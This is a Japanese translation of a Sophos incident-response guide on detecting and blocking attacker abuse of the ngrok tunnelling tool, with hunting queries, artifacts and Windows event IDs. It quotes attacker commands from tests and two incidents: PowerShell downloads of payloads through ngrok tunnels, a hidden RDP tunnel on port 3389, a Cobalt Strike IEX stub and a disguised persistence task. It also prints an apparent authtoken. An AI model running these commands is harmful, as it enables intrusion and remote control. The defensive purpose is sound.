セキュリティ運用

Rapid Response: 正規ツール「Ngrok」を悪用するインシデントへの対策ガイド

Rapid Response: 正規ツール「Ngrok」を悪用するインシデントへの対策ガイド

** 本記事は、Rapid Response: The Ngrok Incident Guide の翻訳です。最新の情報は英語記事をご覧ください。**

本記事は、インシデント対応の担当者やセキュリティ運用チームが、一般的な脅威で利用されているツール、テクニック、行動を特定して修復できるように、ソフォスの Rapid Response チームが作成したインシデントガイドシリーズの一部です。

Ngrok の機能と攻撃者による悪用方法

Ngrok は、安全なトンネルを介してローカルネットワークのポートをインターネットに公開するツールであり、さまざまなプラットフォームで利用されています。ファイアウォールやネットワークアクセス変換 (NAT) ソリューションの内側で動作し、伝送制御プロトコル (TCP) を使用するコンピュータシステムとインターネットとの間で安全なトンネルを作成します。使用する通信チャネルとしてポートが選択されると、必要なトンネル設定が ngrok プロセスで行われます。ngrok のクラウドサービスは、実行中の ngrok プロセスに再度リレーされ、指定されたローカルポートにネットワークトラフィックを転送する双方向のネットワークトラフィックを促進します。

Ngrok の限定バージョンは、非商用のものであれば ngrok.com で自由に利用でき、高機能なバージョンはライセンスを取得して商用で利用できます。しかし残念ながら、このツールは攻撃者によっても、さまざまな攻撃で悪用されています。攻撃者はこのツールのトンネリングの機能を利用して、ネットワーク保護をバイパスしながらコマンドアンドコントロール (C2) サーバーに接続し、悪意のあるコードをダウンロードしています。

また、Ngrok が攻撃者に多用されている理由として、以下が考えられます。

  • 正当なビジネスで使用されるツールであるため、デフォルトではマルウェアとして分類されない
  • 一般的なオープンポートで動作する
  • ファイルに直接依存しない
  • 設定が容易
  • TCP プロトコルを使用するあらゆるネットワークサービスに対応可能
  • インターネット接続を介してアクセスできるようにローカルポート (3389) を公開する基本的なアクセス機能を組み合わせて、TCP トンネルを作成可能
  • すべてのネットワークトラフィックが ngrok URL を通過するため、攻撃者は公開されている ngrok サービスからペイロードを取得することが可能

インシデントガイドの背景

本ガイドでは、ネットワークで ngrok が検出されるインシデントの調査と緩和策について取り上げます。 緩和策を実施する前に、ネットワークで ngrok が正当な目的で使用されているかどうかを確認することを強く推奨します。

さらに、本ガイドでは、Sophos XDR Live Discover や Live Response  などの機能を用いて、防御者が取るべき手順を説明しています。Sophos XDR を使用していない場合でも、OSQuery などの他のツールを利用できるセキュリティ専門家であれば、それぞれのニーズに合わせてこれらの情報を応用できます。

本ガイドで言及されているクエリやコマンドは、インシデント対応時に  Sophos Rapid Response チームが使用した手法の一部です。これらはあくまで推奨事項であり、各タスクを遂行する方法は他にもあります。

設定などの削除が指示される場合は、正規のクライアント設定が誤って削除されないように、ダブルチェックする必要があります。

調査

本セクションの目標は、影響を受けるシステムに ngrok に関連する IoC (セキュリティ侵害の痕跡) があるかどうかを確認することです。以降のセクションでは、調査結果を分析し、対応するための手順を説明します。説明にあたって、これらのセクションでは 2 つの別々の対応シナリオを用います。また重要な点については、緑色のテキストを使用することがあります。

ライブプロセスの確認

まず、ネットワーク上でクエリを実行し、現在実行中のプロセスを確認します。

Sophos XDR のユーザーは、新しい Live Discover クエリを作成して実行できます。Live Discover に不慣れで方法が分からない場合は、まずヘルプガイドを参照することを推奨します。基本的な手順は次のとおりです。

  1. まず、Sophos Central にログインし、Threat Analysis Center から Live Discover に移動します。
  2. 「Designer Mode (デザイナーモード)」を有効にします。
  3. 「Create new query (新規クエリ作成)」を選択します。
  4. クエリの名前と詳細を設定し、保存するカテゴリとして「Live Endpoint」を選択します。
  5. Rapid Response の Github ページ(Process.01.0 – List running processes tool.txt) から SQL の詳細をコピーします。
  6. クエリを保存します。
  • ライブプロセス
    • ngrok.exe
      • ngrok はコマンドラインレベルで実行されます。親プロセスには次のものが含まれます。
        • CMD.exe
        • PowerShell.exe
      • CMDline parameters
        • CMDline parameters
          • RDP TCP 3389 tunnel
            • ngrok.exe tcp 3389
          • HTTP 443
            • ngrok http 443

この調査例では、DNS、HTTP、PowerShell でいくつかのクエリを実行し、ngrok の痕跡を確認しました。これらは調査結果とともに下記で紹介しています。

  • ジャーナルテスト: ngrok 経由でダウンロードされた IP スキャナのペイロード
    • 標的のコンピュータで実行されたコマンド
      • powershell.exe /c (new-object System.Net.WebClient).DownloadFile(‘https://3812-[redacted].ngrok.io/Advanced_IP_Scanner_2.5.3850.exe’,’C:\Perflogs\IP.exe’)
        • https://3812-[redacted].ngrok.io > ソースコンピュータ (エミュレートされた攻撃者のコマンドアンドコントロール) にセットアップされた ngrok トンネルが指定する実行ファイル: C:\Perflogs\Advanced_IP_Scanner_2.5.3850.exe
        • Advanced_IP_Scanner_2.5.3850.exe > ソースコンピュータのペイロード
        • C:\Perflogs\IP.exe > 標的のコンピュータ内のディスクへのファイル書き込み場所
      • DNS ジャーナル
        • 検索 > 3812-[redacted]ngrok.io
          • 動的 (無料版使用時) > 3812-[redacted]
          • 静的変数 > ngrok
          • クエリ > Sophos_dns_journal
              • 名前
                • %ngrok%
      • HTTP ジャーナル
          • 検索 > トンネルが 80 番ポートではなく 443 番ポートで動作しているため、検出されません。
            • クエリ > Sophos_HTTP_Journal
          • 検索 (トンネルをポート 80 に変更) > c5a8-[redacted].ngrok.io/Advanced_IP_Scanner_2.5.3850.exe
          • “GET /Advanced_IP_Scanner_2.5.3850.exe HTTP/1.1 Host: c5a8-[redacted].ngrok.io Connection: Keep-Alive”
          • 静的変数 > ngrok
          • クエリ > Sophos_http_journal
            • URL
              • %ngrok%
            • ヘッダー
              • %ngrok%
      • Grep PSReadline
        • 検索 > powershell.exe /c (new-object System.Net.WebClient).DownloadFile(‘https://3812-[redacted].ngrok.io/Advanced_IP_Scanner_2.5.3850.exe’,’C:\Perflogs\IP.exe’)
        • 静的グレップのパターン > ngrok
        • クエリカスタム >
          • SELECT grep.*
            FROM file
            CROSS JOIN grep ON (grep.path = file.path)
            WHERE
            file.path LIKE ‘C:\Users\%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt’
            AND grep.pattern = ‘ngrok’
      • Sophos PowerShell のイベント
        • 検索 > powershell.exe /c (new-object System.Net.WebClient).DownloadFile(‘https://3812-[redacted].ngrok.io/Advanced_IP_Scanner_2.5.3850.exe’,’C:\Perflogs\IP.exe’)
        • 静的変数 > ngrok
        • クエリ > sophos_powershell_events
          • script_text
            • %ngrok%
      • File.01.0 – ディスク上のファイル (パス)
        • 検索 > ngrok 認証トークンを含む YML ファイル (ngrok.exe にパースされたときのデフォルトの場所)
        • 静的変数 > ngrok.yml
        • クエリ > $$path$$ > C:\users\%\.ngrok2\ngrok.yml

続いて、DNS、ジャーナル、その他のログデータをさらに詳しく見ていきます。これらのオプションは、調査結果と共に下記で紹介しています。 and

  • ジャーナルテスト:ngrok による RDP のポートバインディング 3389 の作成
    • 標的のコンピュータで起動されたコマンド
      • powershell.exe /c Start-Process -WindowStyle Hidden -FilePath ngrok.exe -ArgumentList ‘tcp 3389’
        • PowerShell が ngrok アプリケーションの実行と TCP ポート 3389 のバインド (ファイルパスは ngrok バイナリが %system32% 内にあると仮定) を行い、ウィンドウを隠し、コマンド完了後にターミナルを終了します。
      • DNS ジャーナル
        • 検索 > tunnel.us.ngrok.com
          • 静的変数 > ngrok
          • クエリ > Sophos_dns_journal
            • 名前
              • %grok%
      • ネットワークジャーナル
        • 検索 > Source ::1 | Destination ::1 | DestinationPort 3389
          • 静的変数 > ::1 | 3389
          • クエリ > Sophos_network_journal
            • 送信元
              • ::1
            • 送信先
              • ::1
            • 送信先ポート
              • 3389
      • ファイルジャーナル
        • 検索 > C:\Users\unknown\.ngrok2\ngrok.yml
          • 静的変数 > ngrok.yml
          • クエリ > Sophos_file_journal
            • 件名
              • FileOtherReads
            • パス
              • %ngrok.yml
      • ファイル.01.0 – ディスク上のファイル (パス)
        • 検索 > svchost プロセスで作成された ngrok 用のプリフェッチ実行エントリngrok process
        • 静的変数 > NGROK.EXE%.pf
        • クエリ > $$path$$ > C:\Windows\Prefetch\NGROK.EXE%.pf
      • プロセスジャーナル
        • 検索 > PowerShell.exe” /c Start-Process -WindowStyle Hidden -FilePath ngrok.exe -ArgumentList ‘tcp 3389’
          • 静的変数 > ngrok | tcp 3389
          • クエリ > Sophos_process_journal
            • CMDLine
              • ngrok
              • tcp 3389
        • 検索 > “C:\Windows\system32\ngrok.exe” tcp 3389
          • 静的変数 > ngrok | tcp 3889
          • クエリ > Sophos_process_journal
            • CMDLine
              • ngrok
              • tcp 3389
      • Windows イベントログ (Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx)
        • 検索 > 送信元ネットワークアドレス: ::%16777216
          • 静的変数 > ::%16777216
          • クエリ > Rapid Response: Logins.01.0 – 1149 RDP Logins
            • 送信元 IP
              • %::%16777216%
      • Windows イベントログ (Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx)
        • 検索 > 送信元ネットワークアドレス: ::%16777216
          • 静的変数 > ::%16777216
          • クエリ > Rapid Response: Logins.01.2 – 21-40 local session login events
            • 送信元 IP
              • %::%16777216%
      • Windows イベントログ (Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Operational.evtx)
        • 検索 > サーバーがクライアント [::1]:51154 から新しい TCP 接続を受け入れ [::1]:51154
          • 静的変数 > ::1
          • クエリ > 不明
      • 新しい IoC (侵害の痕跡) の発見
        • ポート 3389 を使用して TCP プロトコルで事前定義された、ngrok URL をバインドするスケジュールタスク
          • タスク名 > MicrosoftSync
          • タスクのアクション > C:\Windows\Temp\rk\ngrok.exe
          • タスク引数 > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
          • ngrokの実行 > C:\Windows\Temp\rk\ngrok.exe
          • 使用するプロトコル > TCP
          • 地域選択 > us
          • リモートアドレス > 3.tcp.ngrok.io:25126 3389
            • URL > 3.tcp.ngrok.io
            • ポート > 25126
            • プロトコル > 3389
          • タスクパス > C:\Windows\system32\tasks\Microsoft\Windows\MicrosoftSync.xml
      • タスク.01.0 – スケジュールタスク
        • 検索 > ngrok バイナリにパースされたアクション引数パラメータを含むスケジュールタスクは、定義済みのバインドアドレスを介して 3389 トンネルを開始します。
          • 静的変数 > %ngrok%
            • スケジュールタスク内の引数パラメータでリモートアドレスが提供された場合、検索できる静的部分はセカンドレベルのドメイン、すなわちngrok になります。
              • 3.tcp.ngrok.io:25126 3389
                • 3 > 動的な値
                • tcp > ngrok に属さない静的な値
                • ngrok > ngrok のパブリックサービスを利用するためのセカンドレベルドメインとして静的な値
                • io > 現時点では静的な値
                • 25126 > 動的 / 静的値不明 (異なる階層化オプション)
                • 3389 > 動的な値(他のポートがバインドされる可能性があります)
              • %
            • $$action$$
              • %ngrok%

分析

以下の情報は、ngrok が標的のネットワークに導入され、攻撃者に悪用された 2 つのインシデント対応の調査で収集された情報に基づいています。

インシデント 1

      • RDP 接続
        • 送信元ネットワークアドレス: ::%16777216
        • サーバーは、クライアント [::1]:52423 からの新しい TCP 接続を受け入れ
      • PowerShell で ngrok アーカイブファイルをダウンロードし、ディスクに展開し、PowerShell で ngrokプロセスを起動
        • powershell.exe /c (New-Object System.Net.WebClient).DownloadFile(‘https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-386.zip’,’ngrok.zip’);Expand-Archive -Path ‘ngrok.zip’ –DestinationPath ‘C:\Windows\System32\‘;Start-Process –nnwFilePath ngrok.exe –ArgumentList version EngineVersion=
      • PowerShell で ngrok を起動し、TCP ポートを 3389 にバインドして追加します。
        • powershell.exe /c Start-Process -WindowStyle Hidden -FilePath ngrok.exe -ArgumentList ‘tcp 3389’
          • PowerShell が ngrok のバイナリファイルを実行し、TCP ポートを 3389 に設定します。
      • PowerShell は ngrok API を起動し、現在のポート 4040 を使用します。
        • powershell.exe /c (New-Object System.Net.WebClient).DownloadString(‘http://127.0.0.1:4040/api/tunnels’)
      • PowerShell が ngrok を起動し、C2 サーバーと通信して悪意のあるペイロードを取得し、ディスクに書き込みます。
        • powershell.exe /c (new-object System.Net.WebClient).DownloadFile(‘http://2f65dfe21ccb.ngrok.io/b3.exe’,’C:\tmp\beacon.exe’)
          • PowerShell でファイル取得のための Web リクエストを呼び出します。
            • http > Web プロトコル 80 以上
            • 2f65dfe21ccb > ngrok サービスによって割り当てられたサブドメイン (有料版では動的ではなく静的なままにすることが可能)
            • ngrok > ngrokサービスのセカンドレベルのドメイン
            • .io > トップレベルのドメイン
            • b3.exe > ngrok 経由で攻撃者の Web サーバーから取得するペイロード
            • C:\tmp\beacon > b3.exe をこの場所内のディスクに書き込みます。
              • 名前から推測すると、これはビーコンの一種であると考えられます。

インシデント 2

    • ngrok のバイナリを含むアーカイブファイルをダウンロードするための Web リクエストを Wget で呼び出し、アーカイブを解凍します (注: base64 SQB からデコードしたもの)。
        • IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:37448/’);
          [Net.ServicePointManager]::SecurityProtocol = “tls12, tls11, tls”;
          [Net.ServicePointManager]::SecurityProtocol =
          [Net.SecurityProtocolType]::Tls12 -bor
          [Net.SecurityProtocolType]::Tls11 -bor
          [Net.SecurityProtocolType]::Tls ; wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -Outfile C:\Windows\Temp\s.zip ; Expand-Archive -Path C:\Windows\Temp\s.zip -DestinationPath C:\Windows\Temp\rk\
        • Cobalt Strike ローカルホストポートのビーコンが割り当てをバインド。
        • TLS のバージョンがどのバージョンもダウンロード操作ができるようにカバーします。
        • ngrok をダウンロードするための equinox.io ドメインへの Web リクエスト。
          • ngrok-stable-windows-amd64.zip
        • アーカイブファイルをディスクに出力します。
          • C:\Windows\Temp
          • アーカイブファイルを s.zip と名付けます。
        • アーカイブファイルを以下に解凍します。
          • C:\Windows\Temp\rk
    • ポート 3389 を使用する TCP プロトコルを介して、事前に定義された ngrok URL をバインドするスケジュールされたタスクが配置されています。
      • タスク名 > MicrosoftSync
      • タスクのアクション > C:\Windows\Temp\rk\ngrok.exe
      • タスク引数 > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389
        • ngrokの実行 > C:\Windows\Temp\rk\ngrok.exe
        • 使用するプロトコル > TCP
        • 地域選択 > us
        • リモートアドレス > 3.tcp.ngrok.io:25126 3389
          • URL > 3.tcp.ngrok.io
          • ポート > 25126
          • プロトコル > 3389
      • タスクパス > C:\Windows\system32\tasks\Microsoft\Windows\MicrosoftSync.xml

ここで、ngrok のアーティファクト (ngrok TCP 3389 のバインディングと Web プロトコル経由のペイロード取得に基づく痕跡) が見つかりました。これらのアーティファクトは、その場所と一緒に以下にリストアップされています。緑でハイライトされた値は、ngrok の存在 / 活動を示唆するために使用できるデータを表します。

  • ファイルシステム
    • C:\Users\%\.ngrok2\ngrok.yml
      • これは、認証トークンのインポートに関して ngrok が作成するデフォルトの場所です。
        • ngrok.yml contents > authotoken:2x51DsQKXfh5ktnL0QZoE02nP7V_378snElWViOptKDsXk8sM
      • C:\Windows\Prefetch\NGROK.EXE%.pf
        • PowerShell の起動プロセスで ngrok を実行すると、Svchost.exe にプリフェッチファイルが作成されます。
  • Registry
    • SYSTEM HVE
      • HKLM\SYSTEM\ControlSet001\Control\Session Manager\AppCompatCache
        • キャッシュ入力値 > C:\Users\unknown\Desktop\ngrok.exe
          • 注:
            • ngrok のバイナリ名がバイナリ実行ファイル ngrok.exe のデフォルト命名文字列を使用しない場合、攻撃者が ngrok に指定するランダムな代替名が一致しないため、このアーティファクトは意味をなさないことになります。
            • このアーティファクトは、いくつかの異なるタイプのイベントが発生したことを示唆する可能性があり、実行日 / タイムスタンプの信頼できるソースではありません。しかし、デフォルトの命名規則が使用されたままであれば、このアーティファクトは ngrok の存在を示している可能性があります。
            • デフォルトの固有値は、バイナリ実行ファイルの最終修正タイムスタンプを提供します。
  • Windows イベントログ
    • Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx
      • イベント ID 1149
        • 送信元ネットワークアドレス: ::%16777216
    • Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
      • イベント ID 21 (ログオン成功)
        • 送信元ネットワークアドレス: ::%16777216
          • 注:このイベント ID は、現在セッションにログオンしているユーザーとは異なるユーザー認証情報を使用して、RDP 接続が確立された場合のみ表示されます。
      • イベント ID 22 (シェル開始通知)
        • 送信元ネットワークアドレス: ::%16777216
          • 注: このイベント ID は、現在セッションでログオンしているユーザーとは異なるユーザー認証情報を使用して、RDP 接続が確立された場合にのみ表示されます。
      • イベント ID 24 (セッションが切断)
        • 送信元ネットワークアドレス: ::%16777216
      • イベント ID 25 (セッションの再接続に成功)
        • 送信元ネットワークアドレス: ::%16777216
          • 注:このイベント ID は、現在セッションでログオンしているユーザー資格情報を使用して RDP 接続を確立した場合、または同じセッションの ID を使用して切断から継続した場合にのみ表示されます。
    • Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Operational.evtx
      • イベント ID 131 (サーバーがクライアントからの新しい TCP 接続を受け入れ)
        • サーバーはクライアント [::1]:53645 からの新しい TCP 接続を受け入れました (53645 は接続に割り当てられたプライベートポート値です。これは固定値ではないと考えられます)
    • Security.evtx
      • イベント ID 4624 (アカウントは正常にログオンされました)
        • 送信元ネットワークアドレス: ::1
          • 注:::1 > IPV6 ループバックアドレス
          • ログオンの種類:10 (RDP)
            • 注:2 つの変数の組み合わせは、ソースアドレス、ループバックを介して、RDP ログオン型の接続が発生したことを示しています。

対応策

Sophos Central (または他のインストール済みセキュリティソリューションとポリシー) を活用してアプリケーションをブロックすることで、調査や分析から得られた情報をもとに、ビジネスの目的で使用されていない不要な ngrok インスタンスを特定し、ネットワークやエンドポイントをクリーンアップすることが可能になります。これを実現するには、さまざまな方法があります。

Sophos Central には、ハッシュによるグローバルブロックリストが存在します (ただし、ハッシュが追加されている ngrok のバージョンだけがブロックされます)。

ngrok のバイナリは現在デジタル署名されていないため、署名されていないバイナリに関する Microsoft AppLocker ポリシー / ルールセットも、これに対抗するために利用できます。

また、プロキシサーバーやファイアウォール (DNS リクエスト / TLS 復号化パケットインスペクションを確認する場合) においても対策が可能です。ngrok バイナリは、名前、ハッシュ、場所などが異なることがありますが、ngrok のパブリックインフラストラクチャを使用するための最初に静的なネットワーク通信を実行しているように見えます。以下にその例を示します。

    • トップレベルドメイン > .io
    • セカンドレベルドメイン > ngrok
      • このセカンドレベルドメインは静的なままであり、ネットワークトラフィックをブロックするために使用される可能性があります。
    • サブドメイン > 無料版を使用している場合はランダム、その他の階層化では静的ドメインを使用可能です。

同様に、DNS リクエストについても、ngrok トラフィックをブロックし、どのマシンが DNS リクエストを開始したかを識別するために、同様のアプローチを実行できます。上記のさまざまな例で示されているように、ngrok は複数のトップレベルドメイン (.com、.io) を使用していることに注意してください。

    • トップレベルドメイン > .com
    • セカンドレベルドメイン > ngrok
      • このセカンドレベルドメインは、これまでの経験上は静的なままと考えられており、ソースホストからのネットワークトラフィック要求を検出し、ネットワークトラフィックをブロックするために使用することができます。サブドメインも静的であるように見えますが、異なる地域で代替のサブドメインが使用される場合や他の形式の違いがある場合に備えて、検出 / ブロックはセカンドレベルの ngrok 値を使用する方がより明確です。
    • サブドメイン > tunnel.US

バックアップからリストアする前に、バックアップ自体に問題がないことを忘れずに確認してください。<